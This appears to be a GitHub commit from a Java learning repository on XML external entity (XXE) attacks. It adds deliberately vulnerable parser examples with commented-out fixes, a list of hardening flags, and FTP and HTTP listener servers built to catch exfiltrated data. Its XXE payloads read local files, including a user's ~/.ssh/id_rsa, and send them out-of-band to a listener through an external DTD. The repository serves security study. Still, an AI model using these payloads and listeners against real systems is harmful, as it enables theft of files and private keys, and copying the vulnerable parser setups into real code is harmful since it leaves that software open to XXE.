Skip to content

Commit 85a3771

Browse files
author
xuanyh
committed
feat:java xml解析导致的xxe学习
1 parent ee90b0b commit 85a3771

15 files changed

+637
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
package com.threedr3am.bug.server;
2+
3+
import java.io.BufferedReader;
4+
import java.io.IOException;
5+
import java.io.InputStream;
6+
import java.io.InputStreamReader;
7+
import java.io.OutputStream;
8+
import java.io.PrintWriter;
9+
import java.net.ServerSocket;
10+
import java.net.Socket;
11+
import java.util.concurrent.ExecutorService;
12+
import java.util.concurrent.Executors;
13+
14+
/**
15+
* 用于xxe oob多行文件内容时使用,参考xxe-ftp-server.rb
16+
* 链接:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
17+
*
18+
* @author xuanyh
19+
*/
20+
public class FtpServer {
21+
22+
private static final int PORT = 2121;
23+
24+
private static ExecutorService executorService = Executors.newFixedThreadPool(4);
25+
26+
public static void main(String[] args) {
27+
try {
28+
ServerSocket serverSocket = new ServerSocket(PORT);
29+
for (;;) {
30+
Socket socket = serverSocket.accept();
31+
executorService.execute(() -> {
32+
try {
33+
handle(socket.getInputStream(), socket.getOutputStream());
34+
socket.close();
35+
} catch (IOException e) {
36+
e.printStackTrace();
37+
}
38+
});
39+
}
40+
41+
} catch (IOException e) {
42+
e.printStackTrace();
43+
}
44+
}
45+
46+
private static void handle(InputStream inputStream, OutputStream outputStream) {
47+
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
48+
PrintWriter printWriter = new PrintWriter(outputStream, true);
49+
System.out.println("FTP. New client connected");
50+
printWriter.println("220 xxe-ftp-server");
51+
for (;;) {
52+
String line = null;
53+
try {
54+
line = bufferedReader.readLine();
55+
System.out.println("< " + line);
56+
} catch (IOException e) {
57+
e.printStackTrace();
58+
System.out.println("FTP. Connection closed");
59+
break;
60+
}
61+
if (line.toUpperCase().contains("LIST")) {
62+
printWriter.println("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test");
63+
printWriter.println("150 Opening BINARY mode data connection for /bin/ls");
64+
printWriter.println("226 Transfer complete.");
65+
} else if (line.toUpperCase().contains("USER")) {
66+
printWriter.println("331 password please - version check");
67+
} else if (line.toUpperCase().contains("PORT")) {
68+
System.out.println("! PORT received");
69+
System.out.println("> 200 PORT command ok");
70+
printWriter.println("200 PORT command ok");
71+
} else {
72+
System.out.println("> 230 more data please!");
73+
printWriter.println("230 more data please!");
74+
}
75+
}
76+
}
77+
}
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
package com.threedr3am.bug.server;
2+
3+
import com.sun.net.httpserver.Headers;
4+
import com.sun.net.httpserver.HttpExchange;
5+
import com.sun.net.httpserver.HttpHandler;
6+
import com.sun.net.httpserver.HttpServer;
7+
import com.sun.net.httpserver.spi.HttpServerProvider;
8+
import java.io.BufferedReader;
9+
import java.io.IOException;
10+
import java.io.InputStreamReader;
11+
import java.io.OutputStream;
12+
import java.net.InetSocketAddress;
13+
import java.util.Iterator;
14+
import java.util.List;
15+
import java.util.Set;
16+
import org.apache.commons.lang3.StringUtils;
17+
18+
/**
19+
* 解析http协议,输出http请求体
20+
*
21+
* @author xuanyh
22+
*/
23+
public class HTTPServer {
24+
25+
private static final int PORT = 8080;
26+
27+
public static void main(String[] args) throws IOException {
28+
HttpServerProvider provider = HttpServerProvider.provider();
29+
HttpServer httpserver = provider.createHttpServer(new InetSocketAddress(PORT), 100);
30+
//监听端口8080,
31+
32+
httpserver.createContext("/", new RestGetHandler());
33+
httpserver.setExecutor(null);
34+
httpserver.start();
35+
System.out.println("server started");
36+
}
37+
38+
static class RestGetHandler implements HttpHandler {
39+
40+
@Override
41+
public void handle(HttpExchange he) throws IOException {
42+
String requestMethod = he.getRequestMethod();
43+
System.out.println(requestMethod + " " + he.getRequestURI().getPath() + (
44+
StringUtils.isEmpty(he.getRequestURI().getRawQuery()) ? ""
45+
: "?" + he.getRequestURI().getRawQuery()) + " " + he.getProtocol());
46+
if (requestMethod.equalsIgnoreCase("GET")) {
47+
Headers responseHeaders = he.getResponseHeaders();
48+
responseHeaders.set("Content-Type", "application/json");
49+
50+
he.sendResponseHeaders(200, 0);
51+
// parse request
52+
OutputStream responseBody = he.getResponseBody();
53+
Headers requestHeaders = he.getRequestHeaders();
54+
Set<String> keySet = requestHeaders.keySet();
55+
Iterator<String> iter = keySet.iterator();
56+
57+
while (iter.hasNext()) {
58+
String key = iter.next();
59+
List values = requestHeaders.get(key);
60+
String s = key + ": " + values.toString();
61+
System.out.println(s);
62+
}
63+
System.out.println();
64+
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(he.getRequestBody()));
65+
StringBuilder stringBuilder = new StringBuilder();
66+
String line;
67+
for (;(line = bufferedReader.readLine()) != null;) {
68+
stringBuilder.append(line);
69+
}
70+
System.out.println(stringBuilder.toString());
71+
72+
// send response
73+
String response = "";
74+
responseBody.write(response.getBytes());
75+
responseBody.close();
76+
}
77+
}
78+
}
79+
80+
}
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.threedr3am.bug.xxe;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.IOException;
5+
import javax.xml.parsers.DocumentBuilder;
6+
import javax.xml.parsers.DocumentBuilderFactory;
7+
import javax.xml.parsers.ParserConfigurationException;
8+
import org.w3c.dom.Document;
9+
import org.xml.sax.SAXException;
10+
11+
/**
12+
* DOM方式 - DocumentBuilderFactory
13+
*
14+
* @author xuanyh
15+
*/
16+
public class DocumentBuilderFactory_DOMTest {
17+
18+
public static void main(String[] args)
19+
throws IOException, ParserConfigurationException, SAXException {
20+
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
21+
22+
//todo 存在xxe漏洞
23+
DocumentBuilder builder = dbf.newDocumentBuilder();
24+
25+
String FEATURE = null;
26+
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
27+
dbf.setFeature(FEATURE, true);
28+
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
29+
dbf.setFeature(FEATURE, true);
30+
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
31+
dbf.setFeature(FEATURE, false);
32+
FEATURE = "http://xml.org/sax/features/external-general-entities";
33+
dbf.setFeature(FEATURE, false);
34+
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
35+
dbf.setFeature(FEATURE, false);
36+
dbf.setXIncludeAware(false);
37+
dbf.setExpandEntityReferences(false);
38+
39+
//todo 修复需要把这行代码放在此处 DocumentBuilder builder = dbf.newDocumentBuilder();
40+
// DocumentBuilder builder = dbf.newDocumentBuilder();
41+
42+
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Payloads.FEEDBACK.getBytes());
43+
Document d = builder.parse(byteArrayInputStream);
44+
System.out.println(d.getDocumentElement().getTextContent());
45+
}
46+
}
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package com.threedr3am.bug.xxe;
2+
3+
/**
4+
* 各种feature
5+
*
6+
* @author xuanyh
7+
*/
8+
public interface Features {
9+
10+
String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
11+
12+
/**
13+
* 是否允许使用通用实体
14+
*/
15+
String FEATURE2 = "http://xml.org/sax/features/external-general-entities";
16+
17+
/**
18+
* 是否允许使用参数实体
19+
*/
20+
String FEATURE3 = "http://xml.org/sax/features/external-parameter-entities";
21+
22+
/**
23+
* 是否允许加载外部DTD实体
24+
*/
25+
String FEATURE4 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
26+
27+
/**
28+
* 是否启用安全性处理
29+
*/
30+
String FEATURE_SECURE_PROCESSING = "http://javax.xml.XMLConstants/feature/secure-processing";
31+
32+
/**
33+
* 是否允许使用外部DTD实体
34+
*/
35+
String ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD";
36+
37+
String ACCESS_EXTERNAL_SCHEMA = "http://javax.xml.XMLConstants/property/accessExternalSchema";
38+
39+
String ACCESS_EXTERNAL_STYLESHEET = "http://javax.xml.XMLConstants/property/accessExternalStylesheet";
40+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package com.threedr3am.bug.xxe;
2+
3+
/**
4+
* 各种xml xxe payload
5+
*
6+
* @author xuanyh
7+
*/
8+
public interface Payloads {
9+
10+
/**
11+
* 有回显的payload xml
12+
*
13+
* 读取/tmp/aaa文件内容
14+
*/
15+
String FEEDBACK =
16+
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
17+
+ "<!DOCTYPE root ["
18+
+ " <!ENTITY xxe SYSTEM \"file:///tmp/aaa\">"
19+
+ " ]>"
20+
+ "<root>&xxe;</root>";
21+
22+
/**
23+
* 没有回显,只能带出去的payload xml,读取文件单行
24+
*
25+
* 读取/tmp/aaa文件内容
26+
* 127.0.0.1:80的http web服务器存放xxe.dtd文件:
27+
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:23232?file=%file;' >">
28+
* 监听23232端口
29+
*/
30+
String NO_FEEDBACK_SINGLE_LINE =
31+
"<?xml version=\"1.0\" ?>"
32+
+ "<!DOCTYPE note ["
33+
+ " <!ENTITY % file SYSTEM \"file:///tmp/aaa\">"
34+
+ " <!ENTITY % remote SYSTEM \"http://127.0.0.1:80/xxe.dtd\">"
35+
+ " %remote;%all;"
36+
+ "]>"
37+
+ "<root>&send;</root>";
38+
39+
/**
40+
* 没有回显,只能带出去的payload xml,读取文件多行
41+
*
42+
* 读取/tmp/aaa文件内容
43+
* 127.0.0.1:80的http web服务器存放xxe.dtd文件:
44+
* <!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:23232?file=%file;' >">
45+
* 监听23232端口
46+
*/
47+
String NO_FEEDBACK_MULT_LINE =
48+
"<?xml version=\"1.0\" ?>"
49+
+ "<!DOCTYPE note ["
50+
+ " <!ENTITY % file SYSTEM \"file:///Users/xuanyh/.ssh/id_rsa\">"
51+
+ " <!ENTITY % remote SYSTEM \"http://127.0.0.1:80/xxe_mult.dtd\">"
52+
+ " %remote;%all;"
53+
+ "]>"
54+
+ "<root>&send;</root>";
55+
}
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
package com.threedr3am.bug.xxe;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.IOException;
5+
import java.util.List;
6+
import org.jdom.Content;
7+
import org.jdom.Document;
8+
import org.jdom.Element;
9+
import org.jdom.JDOMException;
10+
import org.jdom.input.SAXBuilder;
11+
12+
/**
13+
* JDOM方式 - SAXBuilder
14+
*
15+
* @author xuanyh
16+
*/
17+
public class SAXBuilder_JDOMTest {
18+
19+
public static void main(String[] args) throws JDOMException, IOException {
20+
//todo 存在xxe漏洞
21+
SAXBuilder saxBuilder = new SAXBuilder();
22+
23+
//todo 修复方式1
24+
// SAXBuilder saxBuilder = new SAXBuilder(true);
25+
26+
//todo 修复方式2
27+
// SAXBuilder saxBuilder = new SAXBuilder();
28+
// saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
29+
// saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities", false);
30+
// saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
31+
// saxBuilder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
32+
33+
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Payloads.FEEDBACK.getBytes());
34+
Document document = saxBuilder.build(byteArrayInputStream);
35+
Element element = document.getRootElement();
36+
List<Content> contents = element.getContent();
37+
for (Content content : contents) {
38+
System.out.println(content.getValue());
39+
}
40+
}
41+
}

0 commit comments

Comments
 (0)